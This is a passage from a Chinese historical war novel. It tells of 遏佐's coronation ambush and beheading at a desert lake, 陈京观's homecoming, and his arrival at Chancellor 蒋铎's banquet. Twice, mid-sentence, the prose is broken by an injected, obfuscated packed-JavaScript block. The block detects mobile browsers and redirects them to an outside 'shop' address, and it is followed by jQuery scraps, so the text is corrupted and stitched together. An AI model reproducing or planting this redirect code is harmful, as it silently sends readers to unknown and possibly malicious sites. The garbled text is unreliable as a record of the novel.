遏佐没有指望她能乖乖投降,但只要多数人是同意的,他事后便可以名正言顺的清除异己,但是忽兰到了,他甚至比其他部落来得更早。他的伤掩在长袍之下看不出任何异常,照常和其他首领谈笑风生,没有表现出对遏佐的不满,倒是有人问起那日比武大会时,他笑而不语。 此时已经是辰时三刻,遏佐由仆从收拾好了穿着,将那顶华丽的毡帽戴在头上,一刻之后,他将出现在众人面前接受朝拜,而他也将宣布沁格为自己的王妃。 “阿布,你为何一定要娶她?那可是王妃之位,真是便宜她了。” 宛达随意地瘫坐在地毯上,一边说着一边在手上剥花生吃,他如今算是下一代首领中最有力的竞争者,行事愈发张扬,前几日从自己的封地赶来腾里还毁了一家农户的丝瓜藤,最后让小厮丢了一枚碎银子打发追上来的老人。 遏佐对于自己这个儿子颇有恨铁不成钢的意思,但奈何这是他的独子,所以平日里睁一只眼闭一只眼惯了,倒是今天听到宛达的这番话,二话不说就将手上的珠串朝宛达扔过去。 “你小子记住咯,你阿布我费了这么大力气才走到今天的位置,你能不能坐上来要看你的本事,不要在我身后狐假虎威!” 宛达遭了父亲的训斥,脸上的表情立刻变得顺从起来,默不作声地放下手里的吃食,朝着遏佐的方向行礼,随后退出了帐子。等宛达走后遏佐叹了口气,他从铜镜里望见今日的打扮,心里却没有预期中的畅然。 “首领,时辰到了。” 门口的祭司喊了一声,遏佐没有应声直接推开帘子走了出去,朝拜的台前已经围满了人,而忽兰站在人群外面,遏佐看不清他的表情,只能看到他身边依旧没有出现沁格的身影。 “历数攸归,钦应上天之命;勋亲斯托,敢忘烈祖之规?建极体元,与民更始。敷宣恳恻之辞,表著忧劳之意。凡在臣庶,体予至怀!” 祭司宣读着遏佐的即位诏书,其中多是一些天命神授之词,底下的人听着,脸上唯余漠然,只等着祭司读完他们便齐齐跪在地上叩头。遏佐望着眼前一片臣服,脸上神色自满,不过他朝忽兰所在的地方看去时,却已看不见他的身影。 此时正值朝拜时刻,祭司的流程要一个时辰才能走完,要迎着今朝第一缕晨霞才能算是受天光。遏佐虽然心中有顾虑,却不能坏了祖宗定下来的规矩,只得坐在皇椅上等着祭司一项一项念,看着台下的人一下一下对着自己磕头。而他心中原本的虚荣心被疑虑一点点占满,倒让此刻的他有些坐立难安。 “预受天命,穷顶相待,三淋朝露,启承圣光。” 祭司说完最后一句祭词,只见遏佐缓步从台阶上走下来,他伸手取下自己的帽子,跪倒在圣泉池旁,闭上眼睛以示虔诚。而祭司嘴里念念有词,用一个精致的器皿从池中取出圣水,用手指沾取,随后轻轻点在了遏佐的头上。 就在这时,遏佐的耳边突然出现一声轻笑,随后就听见沁格语调高昂地站在人群外喊道:“你这一跪,正朝着我阿布所在的方向。” 说罢,沁格拉紧缰绳,她□□的烈马发出嘶鸣声,周围的百姓见状呼喊着四处逃窜,那几个皈依遏佐的小部落首领此刻成了没头的苍蝇,纷纷朝自己的仆从身后躲。而沁格没有打算放过他们,她的曦月刀在霎那间便出鞘,直取她身侧南边部落首领的头颅,她的刀落下时,只能听到耳边传来惊呼。 而台上的遏佐早有准备,他将手里的毡帽放在皇椅上,转身就从侍从的腰间拔出长刀,而他面前已经有护卫队排成三列挡在他与沁格面前,一边掩护他一边向后撤退。 “你刚不是在找我吗?” 遏佐闻言朝后看去,只见忽兰手里握着长刀,身边跟着一个先锋小队,人数绝对在遏佐的护卫队之上,他与沁格渐渐缩小了对遏佐的包围。就在此刻,遏佐的马像是得了号令,从人群中直冲出来,遏佐见机便一脚蹬上马鞍朝逆着人群的方向跑,而他身后慢慢聚起了几千人的部队。 其实早在忽兰出现时他就增加了防御程度,人群中除了来朝拜的小部落首领和他本部的百姓,他没有将任何人放进自己的营地,而沁格的突然出现证明她撕开了遏佐防守线最外围的口子。 可这一切正是遏佐想要的,他要让沁格自己走到他的包围圈里。 沁格是新受封的部落首领,她手里拢共也就能凑齐两三千人,即使加上忽兰和恪多遗留下的兵,最多能达到一万五。这一万五想要与自己现在还余下的两万多人抗争,他的胜算绝对在他们之上。 这一次,是沁格最后的机会,他明白此时的沁格犹如当时孤注一掷的自己,可他不是彼时的恪多,他对于沁格没有心慈手软,他要一举歼灭所有人。 遏佐的马在前面驰骋,后面便是沁格和忽兰的追兵,他们咬得很近,有时沁格会派弓箭手消灭遏佐的后翼,但是遏佐对此并不在乎,他只顾着一力向前,他所做的一切都是为了让沁格走到克尔茶湖边。 而当眼前缓缓出现碧绿色湖泊时,沁格好像能够看到湖边影影绰绰。她面前的遏佐已经由身后的守卫护了起来,很难再寻到他的身影,不过她明白遏佐的意图,只是自己没有其他选择了,与其卧榻仇人之侧,不如搏一搏新的希望。 突然,前面飞奔的遏佐勒绳转向,而湖边的人影也开始行动,他们四散向沁格的方向包围,忽兰的援军也在此刻赶到。平日里只有黄沙漫天的腾里沙漠如今人影攒动,呼喊声和哭泣声交杂,刀枪之间的碰撞叮叮当当,沁格的马依旧冲在队伍最前面,她的目标始终只有一个。 遏佐看着朝自己飞奔而来的红色盔甲,嘴角有一丝不屑的轻笑,他手里的长枪刚挑破眼前人的生命,将他掩入尘土之中,刀尖还挂着淋漓的血滴,他所在的位置已经由源源不断向他进攻的人筑成的藩篱。他在原地等着,等她一步一步走过来。 四下的声响刺激着沁格的神经,她的长刀直指遏佐的命门,而眼前的人自然有所防备,他拿手里的枪柄抵住冲击,随即将枪头划过沁格的胸膛,金属摩擦的声音当即在耳边炸开。沁格微微皱眉,胸前有一丝疼痛带来的麻木,但是她没有过多停留,立刻用刀从遏佐的左后方直插进去,刀尖碰到的地方血肉开绽。 “多年不见,有所长进。” 遏佐的语气里尽是轻蔑,可眼神里没有了最初的松懈,转而由警惕和狠戾充满。他趁沁格不备,手里拉着缰绳牵马绕过她,随后便是突如其来的一击,正中沁格的后背。那一瞬沁格像是被人拍断了筋骨,疼痛感顺着血液流淌过她的每一寸,喉咙里顷刻间便被淤血堵住。 可遏佐依旧不打算放过她,他在战场上打了一辈子仗,奉行的只有一个道理:不到敌人死的那一刻,他总有反扑的可能。于是他没等沁格反应,手里的长枪直冲向眼前人的脖颈,而沁格吐掉了嘴里的血气,用手里的长刀奋力一挡,她连人带马都不禁向后回撤。 “我再问你最后一次,做不做我的王妃?” 遏佐一边说着,一边用手蹭了一把刚才被刺中的地方,眼睛因为嗜血的快感慢慢涨红,而沁格一句“你做梦”更是勾起了他的好胜心。他未等沁格坐稳,一个飞身就将长枪架在了沁格的脖子上,同时手上用力,将马上的人狠狠摔在地上,刀尖与沁格同时落地。 “那你就去陪你阿布吧。” 遏佐的声音在耳边响起,他的呼吸甚至随着音调进入沁格的耳朵,而此刻的沁格似是被这句话刺激到了,手上一边摸着腰间的匕首,一边抵着遏佐压下来的气息。 “唰”,一支箭应声落在沁格旁的空地,紧接着天空中如黑云一般的箭雨擎天而下,沁格抓住机会将匕首狠狠扎进了遏佐的前胸,面前的人有些气急败坏,但是手上的力气明显小了很多,沁格趁机翻身脱离了遏佐的控制。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027440|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而随着箭雨而来的平远军先一步切断了遏佐的援军,遏佐此刻才意识到,当时在湖边的人影是他们。 早在前夜,陈京观就察觉到了不对,克尔茶湖旁宁静如常,可正是如常,才不符合遏佐的狡猾。 此时的平远军刚走到槐州与遏佐部的交界,他们提前蹲守在了陈京观安排的地方,而那里可以从边城的几个村落看到克尔茶湖的一切。 几近日暮时分,平海的耳朵随着湖边芦苇荡苏醒,他依稀听到了马蹄踏破土地的声音,遏佐的守军应当在城内,此时会来克尔茶湖的,应当是他藏了许久的两万人。 不出一刻,克尔茶湖连着天际线的地方一条黑线慢慢升起,与此同时,平远军的队伍正从各个村落集合。而日出之前,平远军全部一万四千人埋伏在了湖面另一侧,红柳丛形成的天然屏障与他们棕黄色的披风隐为一体,在遏佐的军队迈进边线的一瞬,两翼的军队就冲了上来。 遏佐的兵以骑兵为长,如今被人埋伏无疑是断了双脚,他们纷纷弃马试图直接与平远军相抗,可是站在陆地上时北梁人高大的身型就变成了最好的武器。平海身后的席英和平芜相视一笑,两个人如同影子一般窜进了西芥军中,平芜的速度不如席英,他便一路掩护着她直冲到敌方首将面前。 那人起初看见两个小孩不禁失笑,但很快笑容就凝固在了他的脸上,席英的剑没有任何犹豫便刺进了他的肩颈,同时女孩的双腿以一种极快的速度卡住了男人的咽喉。刹那间,他就没了呼吸。 “这次更快了。” 平芜嘴上打趣着,见席英不想理会自己,便识相地替她抵着背后的追兵。他用手上的刀斩断眼前人的长枪,下一秒血溅在了他的盔甲上,他学着师兄的样子嫌弃地看了看,继续投入下一轮战斗。 这一场战斗速战速决,相比训练有素的平远军,遏佐临时凑起来的两万人基本没有与之抗衡的能力。在湖另一边朝拜开始之时,这一侧的守军已经换了人马。 “我没来晚吧。” 陈京观不同那日的素衣,他第一次穿着平远军的铠甲,银灰色的外壳配上他手里闪着冷光的长刀,就连他的棱角此刻都锋利如刀削。他骑在马上,眼神睥睨地望着地上的遏佐,而沁格在说话间朝后退了两步,重新拾起曦月刀。 “你来还是我来?” 沁格手上的刀跃跃欲试,而陈京观闻言嘴角轻挑,手里的长刀又收回了鞘中。 “我不夺你的功劳,但你下一次若还被他制服,我不会先救你。我与他,也有事情未了。” 陈京观说完,就看到沁格向后蓄力,随即冲到了遏佐面前。她的动作相比之前快了很多,手起刀落间都是遏佐的要害处,而遏佐因为胸前的伤口受到牵制,动作幅度小了很多,可是他较沁格来说力量压制不是一个级别,随着拉锯战的开始,二人不相上下。 而此时的忽兰和平海解决了外围的散兵游勇,领着兵朝中间围过来。平芜的手臂被刀口划伤,本还要逞强,却被自己的哥哥托付给了席英,由席英半押半送着带回来了后部。 现在只剩遏佐一块硬骨头了,陈京观在马上看着,突然想笑。他第一次有这么长的时间可以观察遏佐,这个他曾经想象过无数次的人,他是老了,不过如若父亲还活着,应当如他一般硬朗。 “陈京观,我西芥内部的事,你来掺合什么?” 遏佐的话混合着气息不稳透露出的疲惫感,他与沁格似陷入了循坏,你来我往分不出胜负。而陈京观却像终于等到他这句话一般,翻身下马走到他面前,他的长刀随之握在手中。 “我说过,我和你还有未了的事情。不知你还记不记得雍州城?” 陈京观的话一出,遏佐突然了然了一切,他握着刀撑住自己,而沁格此刻由忽兰扶着,退到后面。陈京观没有打算再与他废话,长刀横握直劈向遏佐的脖颈,而面前的人早已经不起这一击,连连后退道:”当时蒋铎就该斩草除根。” 闻言,陈京观不禁笑出了声,可他眼前却是陈府的阵阵硝烟和仆从绝望的呼救,他的刀尖划过腾里的细沙,在扬起的瞬间手起刀落。 “天留我这条命,就是为了杀你。” 31.总角之宴(一) 西芥的风大,消息也难免传得快些,一行人还未回到营地,遏佐被斩首的消息就传遍整个西芥,甚至扩散到了南北两朝。只是对于这样一个劲敌的消亡,大家心中各有盘算,默契地任由这件事起,又看着它沉寂。 而送往南魏的回书中,陈京观隐去了自己的功绩,把一切都推给了沁格,至于他出兵西芥的理由,成了为促成南魏与西芥重立和平协议。 “我在此先恭喜首领终登大宝。” 原先的恪多部吸纳了忽兰的领地,成了新首领的疆土。此时的陈京观站在故地,面前却已不是故人。他微微拱手向忽兰行礼,等他说罢,又将身子转向沁格,“我也恭喜别吉,领了事务司一职,算是解了你心中的忧虑。” 陈京观下了战场,褪去那一身盔甲,脸上的笑意便又若有若无地挂了起来,他身边的平海和席英随着他的动作一齐行礼,不过在幅度和礼数上更甚一些。 沁格跟在哥哥身后应了陈京观一句,随后抬眼看了看席英,不知为何,她心中生出了些没由来的羡慕。她那日听说了席英生擒敌首的事迹,一直想要见见她,如今看到了,眼前的人却与自己想象的大相径庭。席英是典型的南魏身型,甚至带了些江南气息,若不是今日一身戎装,她倒真以为是谁家养在闺阁里花儿。 “我忽兰能得各位英雄相助,实我之幸。如若各位以后有用得到我们的地方,我们定将鼎力以报。” 忽兰如今套在首领的长袍里看上去多了几分威严,甚至和他的父亲有几份相似,他说着,将右手伏在肩上微微低头,接着便从怀中拿出了早就准备好的协议,一封用绢布做的手书,象征着西芥的最高礼仪。 “从今往后,西芥与南魏的往来都以此为准。我只期盼下次再见少将军时,我们推杯换盏,把酒言欢。” 陈京观笑着接过那封诏书,他没有打开看,而是直接将它收进了自己的袖袋。 “愿下次再见,你我无恙。” 不知为何,此时的场景让陈京观突然想到了八年前的那个除夕。那是家中过得最冷清的一个年,彼时父亲还没从西芥回来,不知他是否也与恪多如此心平气和地交谈,又或者他委曲求全做了许多周旋。 陈京观觉得,该是后者。 帐子里的寒暄稍显客套,不过时至今日以他们的身份,有些话很难再说出口了,而陈京观也察觉出了沁格的反常,她今日似乎一直欲言又止,直到陈京观要离开时,她才出言要送他出关,等出了忽兰的营地,沁格就止住了脚步。 “我希望有一事少将军能明白,我答应做你的盟友,是因为你这个人,我与他之间,原没有什么交情。我不会让您为难,但正如您所说,现在的我与他,也有事情未了。” 沁格的话说得很含蓄,她的每一个指称都言将点破,但最后依旧留着彼此的体面。陈京观没答话,望着沁格的眼睛点了点头。 而西芥的事告一段落,陈京观也该准备着回阙州复职,他回去时选了槐州道,顺路去看了看薛磐。此时的槐州城全然看不出两个月前的萧瑟,去周边府衙避难的百姓回来了,街上人来人往,好不热闹,一些企图和新西芥政权搭上话的商人也来了,槐州俨然成了另一座雍州城。 不过陈京观赶到槐州的时候,江阮已经离开了。听薛磐说,是在西芥传出恪多死讯的那个夜晚他就走了,他是一个人来的,也是一个人走的,什么话也没留下。陈京观对此倒不觉得诧异,他是这样一个人,自己自始至终都是知道的,倘若有下次相见,他也断不会想着给自己一个解释。 只是或许他不是好人,但于自己而言,他却的确忠心。他的每一步算计都有他的道理,但他的每一步算计都将陈京观排除在外。 “薛知州,今日一走不知何时才能再见,望安好,望康健。” 陈京观的手被薛磐抓着,他年岁大了,就容易伤感,此时望着一月未见的陈京观眼泪婆娑,他给陈京观装了许多带在路上的吃食,又给他做了两件新衣。他对陈京观,有一种没由来的喜欢。 “照顾好自己,我这辈子都守在这了,不过往后槐州的日子怕是能好过些,多亏了你。” 说着,薛磐的手微微颤抖,他抹了一把泪,像是突然想到了什么,转身回到书房拿来一个匣子,将它郑重地放在陈京观手里。 “那日的梨木还剩些料,我这几日抽空做了个簪子,你若能带给她最好,若不能……赠予你以后的妻子也好。” 手上的匣子看上去精致小巧,可想里面的簪子该是何等用心所制,陈京观默声,片刻后点了点头,微微屈膝向薛磐告别。 之后的路他走得很轻快,平远军的大部队跟着旧伤初愈的董辉回了雍州,槐州留下了一千人马做战后守备,而这一千人后来逐渐自发形成了六千人的槐卫军,不过都是后话了。 陈京观这一次回阙州,身边除了平家兄弟,也带上了席英。她在西芥一战中名声大噪,但许是性格的缘故,她依旧与其他人亲近不起来,周围纵使全是夸赞,她也多是面无表情地受着,有时陈京观提点两句,她就微微点头向贺者道谢。 她的性子,让陈京观想到了初来雍州时的自己,可八年时间,宁渡和平海捂热了他的心,他也想试着融一融席英这块冰。 南魏的六月是一年中最美的时间,万物生长,百花齐放,槐州到阙州的路说长不长说短不短,但初夏的骄阳相伴,让人忍不住想要享受着美好的天光。 一个月后,陈京观一行四人回到了位于阙州边界的宅子,家里多了席英一个女孩,其他三个人也收敛了一些。平日总打着赤膊在院里跑的平芜,如今只要不在自己的卧房里,总是穿戴整齐,陈京观没什么大的妨碍,但有些兄弟间的话也要跑到平海的屋里头去说。 等着他们安顿好了,崇明殿里的旨意也就降下来了,宫里这次派来的内侍更妥帖,还没跨进宅子,嘴里的谄媚就开始了。那道诏书上多是对陈京观参州一战的肯定,默契地隐去了他在西芥内战里的存在,内侍随行还抱着一把剑,陈京观认得出来,是萧霖上次在崇明殿擦的那把。 陈京观回家第二日就把西芥的新协议递了上去,萧霖没说什么,只问了一句:“你想要的得到了吗?”陈京观闻言一愣,但随后点了点头。萧霖没再说什么,将那封手书交给了司印局,不出三日全南魏都知道了这天大的好消息。而萧霖对于陈京观的封赏却一直没下来,陈京观是不在意,但是总有人时刻盯着他。 于是陈京观前脚送走了内侍,还没回屋就看到了蒋铎身边跟着的小厮。都说仆随主子,那小厮见到陈京观也是一脸趾高气昂,他对陈京观行礼时只是微微欠身,随后语气傲慢地说道:“少将军,我家老爷明日在府里摆了宴席,说是少将军入京这么久也没来拜访,他特设宴请您一聚,也当是为您庆功。” 小厮的话省去了主语,陈京观自然知道他是在暗指自己不去请示蒋铎,可小厮的话说出来,倒惹得他发笑。 “我朝大将军之位空悬,而丞相作为文官之首莫不是对行军打仗的事也有研究,想与我切磋?” 陈京观刚领了萧霖的圣意,如今是当朝的红人,那小厮听他这么一说,也敛了些脾气,拱着手将请帖递了上去。陈京观低头瞧了一眼,见那帖子是紫红底上绣了几朵鸢尾花,一股鸿门宴的气息扑面而来。 “帖子我收下了。” 小厮等着陈京观的后半句,可陈京观语气里的调侃毫不收敛,那小厮也不愿意在此地搓磨,应承了两句就往回跑。等他走后,陈京观望着手里的请帖默不作声,倒是有人悄悄走到他背后,冷不丁出声:“我陪你去。” “你知道是鸿门宴也去?” 陈京观没转身也听出是席英,闻言轻笑了一声说道。但是他背后的席英没有言语,片刻之后,犹豫着说:“那你不去了?” 陈京观没做声,摆了摆手走回屋里。他明白蒋铎兴师动众的来请自己一趟,自然是挖好了坑等着自己跳,但是他很好奇,他手里到底有什么底牌,能让他敢如此光明正大的在此时请自己去。 当日夜里,陈京观在将入睡时听到了外面的雨声。阙州晚春的雨很多,很细密,但不会下很长时间,他起身要去关虚掩着的窗户,却看到平海一个人在庭院里站着。他掩在阴影里,穿着一身里衣,陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044871|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京观觉得有雨落在了他身上,但是他没有理会,继续抬头看天。 “在想什么?” 陈京观从架子上拿了一件披风,自己裹上了外衣走了过去,平海接过披风轻声道谢,但没有要应话的意思。 “进了阙州后事情多了,少有时间能与你再如少时般彻夜交谈,但是你开朗了许多。” 陈京观说罢,侧过头看了看平海,眼前的人虽说比自己小几个月,但更像是自己的哥哥。当时宁渡刚买下他,没过几日江秀就领着两个小孩跪在了昌用门口。她一边哭诉丧夫的悲切,一边搂着两个小孩一个劲儿给宁渡磕头,宁渡拗不过她,也一并将他们收下了。 从那时起,昌用里多了人气,平芜每日追着两个哥哥问东问西,平海自小话就不多,但也每次耐着性子去回答。而陈京观本是从小娇养长大的,一朝经历变故,一时间缓不过劲来,有时平芜的问题戳到他的伤口,他就默不作声地一个人回房间坐着。平芜只觉得这个师兄脾气有些怪,而平海将一切都看在眼里。 平海对于这个看上去就与自己不大相同的哥哥其实没什么兴趣,起初宁渡让三人帮着跑腿,陈京观便展露出了小时候娇生惯养后的脆弱,手上一点伤口,腿上擦破点皮,一瞬眼睛就红了,平海觉得这个人不好相处。 但这样的日子过久了,陈京观也慢慢习惯了,身上的伤多了也就不叫唤了。平海倒是没想到他能坚持这么久,他以为陈京观是哪家商会送来历练的少爷,但渐渐发现他身上透露出的是与自己一般的气息。 他们一起到昌用的第三年,四月里寻常的一天,平海也是在这样一个雨夜躲着平芜,偷偷从后院翻了出去。陈京观本来不想多事,但他听到平海落地时吃痛地叫了一声,便悄悄跟在他后面,瞧见他在墙角处生了火,手里握着一把皱皱的纸钱,火舌在他面前窜,小雨落着没浇灭那团火焰,倒是湿了平海的衣服。 陈京观没出声,他前几日,也在同样的位置祭奠过父亲。 不过雍州有宵禁,此时小雨淋湿了木柴,再一生火,一股黑烟飘到了长街上,巡街的守卫慢慢摸索过来,平海没有察觉,但是陈京观看到了他身后渐渐靠近的黑影。 “走!” 平海还没反应过,自己的胳膊已经被陈京观拽住,他的声音压得很低,但是手上的动作并不轻,平海有些不明所以,但还是顺从地跟他走了。 等他们前脚离开,那堆火就被守卫灭了,守卫四下顾盼,而陈京观将平海推在自己身后,两个人躲在陈京观刚站的墙角后。那守卫没看到人,又因是雨夜值守,草草转了一圈就离开了。 “谢谢。” 平海的声音很轻,说罢有些别扭地朝后退了两步,陈京观没有说话,迈步就往院子里走去,但他发觉身后的人没有跟上来,忍不住又回头望。 “不回去吗?” 平海闻言摇了摇头,又走到了那堆灰烬面前,他看着渐渐被雨水烬灭的火星,深深举了一躬。陈京观望去,那是雍州城门的方向。 那一夜,陈京观与平海说了很多,少年人藏不住心事,又碰巧遇到了和自己一般遭遇的朋友,两人像是心心相惜的小兽,在受伤后抱团取暖。而平海大多时候依旧只是听着,但是慢慢放下了对身边人的防备和偏见,等到陈京观说出那句“我想带他回来”,平海一愣。十四岁的少年握紧拳头,轻声应了一句。 之后两人像是突然熟了起来,陈京观也像是慢慢找回了小时候的自己,但平海能察觉得出,他没变过。 “师兄,你说这场雨还会下多久?” 平海一边系着披肩的绑带,一边开口,但他的目光依旧盯着屋檐上滴落的碎雨,甚至有想要用手去触碰的冲动。而陈京观没应声,心里却应下了蒋铎的邀约。 他不知道前路有什么等着他,但是他知道他想要得到的,得踩着这条血路去找。 这夜的雨罕见地下了两三个时辰,淋湿了初夏,更让周遭的温度骤然下降,陈京观与平海聊着,天上的明月也相伴左右。那时朝晖将露,云层化作细雨倾下,让那轮月忽隐忽现。 “平海,天快亮了。” 32.总角之宴(二) 一夜的促膝长谈后,陈京观再醒来已是第二日午时,他摸着空空如也的肚子,想去厨房寻些吃食,却在出门时瞥见了昨日那封紫红色的请帖。 他昨天拿到的时候没打开,如今打定主意要去了,自然要看看蒋铎到底意欲何为。不过这请帖如同蒋铎一般含糊其辞,上面点明了地点,但有关时间的部分只说了一句“晚宴”。 陈京观看着,有些玩味地蹙起头,他甚至能料想到蒋铎会以自己居功自傲为由再与萧霖告状。 他不能说不在意,从他四月进京以来,萧霖的书房有一半空间都累着弹劾他的折子,而萧霖对此闭口不提,故而纵使外面议论纷纷,他却没有受到一点影响。陈京观想到这,轻轻叹了口气,将手里的请帖收起来,迈步走出了自己的房间。 此时一夜微雨的潮湿已被午后的阳光蒸发殆尽,空气里属于昨夜的气息不见了,他抬头看了看平海的房间,屋子里似乎没人,就连两个小孩的房门也敞着,家里突然就剩了他一个。 不过这样的宁静没有维持很久,门口的马夫便叩响了院门。 “小奴受丞相之命,特来请少将军去蒋府。” 那马夫不像昨天来送贴的小厮,看起来应当是蒋铎特意从外面请来的人,他见到陈京观时脸上只有谄媚和胆怯,微微屈膝迎在陈京观面前。 “怎么,丞相这么确定我一定会去?” 陈京观嘴上说着,手上整了整刚才随意披着的外衣,而眼前的马夫不清楚眼前人的脾气,只好将腰弯得更低了以示恭敬。 “也罢,难为你做什么?”陈京观喃喃自语,他看马夫还是低着头,便继续说道,“不过我还有些东西要拿,你可愿再等等?” 那马夫顺从的点了点头,不敢在门槛上多做停留,小跑回马车旁候着,陈京观本想着叫他进来等,但最后还是没有开口,只是转身进了里屋将自己穿戴整齐,临走时拿着笔墨在书房的纸上写下“戌时”,然后提着萧霖赐的那把剑出了门。 “你的赏银我给你,但是你不用送我,原路回去即可。” 听罢陈京观的话,马夫手上马凳子停止在半空,他满脸困惑地看着身边的人,但是陈京观没有再作解释,从袖子里拿出一两银子给他。 “你东家怎么和你说的你就怎么做,我会随着你一同去。” 马夫手里攥着那枚银子,心里虽然有些害怕但还是应下了,照例吆喝了两句,朝进城的官道上走去。而陈京观依旧选择了平日走的乡道,不过他与马车没隔多少距离,他匀着速度时不时和马夫示意一下。 等着这马车越靠近阙州城,那马夫的声势就越足,手里的鞭子就越响,不过陈京观明白,这一切都是蒋铎授意的,这马车制式繁杂,上面的绫罗珠翠随着风摇曳作响,如今加之马夫的虚张声势,路两旁的人时不时就侧目以观。 不过看到这些拙劣的手段,陈京观倒有些想要发笑,他越发相信蒋铎不过是崇宁的棋子。 等着日头微斜,陈京观与马车相继进了阙州城,那马夫朝着陈京观的方向微微低头,然后沿着西侧的城墙走了,而陈京观把马拴在了城门口的茶摊旁,缓步朝中心走去。 蒋铎的宅子在阙州数一数二的地段,无论是离崇明殿还是离东西市都很近,而好巧不巧,萧霖原要赏给陈京观的宅子,就在隔壁街,陈京观走着,就路过了那处院子。那里如今依旧闲置着,不过在主街上有这么一处空着的房产,实在奇怪。 陈京观想着,稍稍倾身去望,但是那院门紧闭,门口的台阶上是久无人居的尘埃,屋檐上的灯笼已经被风雨摧残的只剩个骨架,他有些纳闷,想了很久依然想不起这曾是谁的住所,而那门上的牌匾也不知何年就让人卸走了。 “你听说了吗?这宅子闹鬼。” 路上两个小孩打闹着从陈京观身边走过,看上去年岁不大,其中一个稍高些的吓唬着看起来更瘦小的那个,而他刚一说话,就被旁边的小孩一把拉住了。 “我娘说那里面埋着死人,一般人压不住,官府也不敢拆,怕把鬼神放出来。” 两个小孩越说越玄,最后把自己吓到了,面面相觑了一番连忙扯着步子跑开了,而陈京观回头看了他们一眼,又侧过身看了看这个宅子,不做声响地继续朝蒋铎府上走去。 此时的蒋府侧院,蒋家的管家正忙着打点请来的乐工,一堆花团锦簇的美人扎在小小的房间里,脂粉香混合着她们额头冒出的汗,气味不算好闻,几个性子有些急的嘴上抱怨了几句,让管事用白眼顶了回去。 如今已是酉时,离最初安排的上台时间晚了一个时辰,可她们每次派人去问,管家都回复说贵客还没来,让她们再做准备,而她们上台前不得饮食,如今饥肠辘辘,人也站乏了,难免怨声载道。 不过角落里坐着的女子好似并不在意,她手里把着自己的琵琶,有意无意地拨弄着,而她身边那个同样样貌出挑的女子时不时活动活动手腕,她今日弹不了琴,便随着师父来吹箫,只是手上的动作做久了还是觉得手心隐隐作痛。 “好了,收拾收拾上台吧,今日是丞相府里的大事,你们都机灵点。” 为首的管事冲着屋子里吼了一嗓子,里面的乐工便像受了惊的雀儿般抖了抖,出声应了一句,从小门里鱼贯而出,而坐在角落里的女子并不着急,她等着屋里子的人都走完了,才微微朝管家欠身。 “有劳您,我何时上场?” 管家摆了摆手,相比之前对寻常乐工,对她的态度要和缓一些。他递给那女子的徒弟一把团扇,出声安抚道:“霜栽姑娘再等等,您的好戏得最后再上。” 霜栽点头,道了声谢后回到了自己的座位上,而她身边的徒弟用手里的扇子有一下没一下地给她扇风,想要说些什么,却又欲言又止。 这时的蒋府前院,陈京观由小厮迎着朝正厅里走,他没进来前只觉得这蒋府真大,进来后才看清了其中的玄妙。内部造景的水车立在庭院里,如今夕阳洒进去,像是在一轮一轮淘洗着金砂,再往里走,一条长廊连同东西厢房,墙壁上全是雕花,漆红的柱子一直延伸到内厅,而那内厅的牌匾下,就站着蒋铎。 那一日在崇明殿擦身算是陈京观离蒋铎最近的一次,之后他本来就不常去上朝,每次去的时候也与蒋铎分列文武两侧,如若不是今日蒋铎特意邀请,他恐怕真的不想与蒋铎同堂饮食。 “蒋某之幸,终于是将少将军盼来了。” 蒋铎看见陈京观,一改平日的傲慢,主动上前问候了一句,不过他的的话里满是阴阳怪气,而有江阮在前,陈京观觉得这世上没有人能比过他了,此时也无心再与蒋铎打嘴炮,便应了一声好,随蒋铎朝宴会厅里走。 “今日的菜肴特意选了雍州的口味,还希望少将军能喜欢。” 蒋铎一边走着,一边继续用话抬着陈京观。其实从那架马车开始,陈京观就知道他的用意了,不过他想要帮自己营造一番拥兵自重的样子,他倒也不介意,毕竟越是张扬的人在旁人眼里倒越是安全。 “喜欢,自然喜欢,丞相心思缜密,我唯有好好享用才能全了丞相的心意。” 陈京观此刻出口,也不在乎什么礼法了,他只用顺着蒋铎的意思往下说。而蒋铎没想到陈京观这么上道,他眉眼间多了一丝轻蔑,但那情绪转瞬即逝,很快又换上了笑脸。 “今日不光佳肴美酒,还有佳音美人。” 陈京观听着,抿了抿嘴,应了一声便由侍从领着入席,他的位子在侧面,而蒋铎也没有去主位,选择了他对面的位置坐下。只是还没等菜上来,陈京观面前就莺莺燕燕站了许多。 那些乐工虽然挂着宫里的名头,但实际上早就换了喜悦楼里的娼妓,如今她们看见陈京观这个生面孔,脸上是抑不住的好奇,手里的琴弹着,眼神早就飘到了他身上。 “这些都是开胃菜,少将军先尝尝,要是觉得不够味,我让他们再换。” 蒋铎这话一出,陈京观也回过味来了,他再看眼前的人,她们穿着大多是雍州的软烟罗。这料子陈京观以前替宁渡给几个广梁的富商家里送过,手感似绸缎,却又有着纱的清透,如今穿着在这些乐工的身上,更突显出她们腰肢曼妙,而这些姑娘也明白今日来的目的,便站在陈京观面前似有似无的撩动着身上那层水雾一般的遮挡。 “丞相今日只为替我解乏?” 陈京观嘴上说着,目光从桌角移到蒋铎的脸上,而眼前的人没有应答,他正饶有兴趣地欣赏着那些身姿翩翩的美人,脸上笑意正浓,只见他随手招过来一个便搂进了怀里,那女子软的像水,顷刻间就包裹住了蒋铎。陈京观稍稍偏过脸,端起桌上的酒杯,假装喝了一口后放了回去。 “看来得上今日的大菜了。” 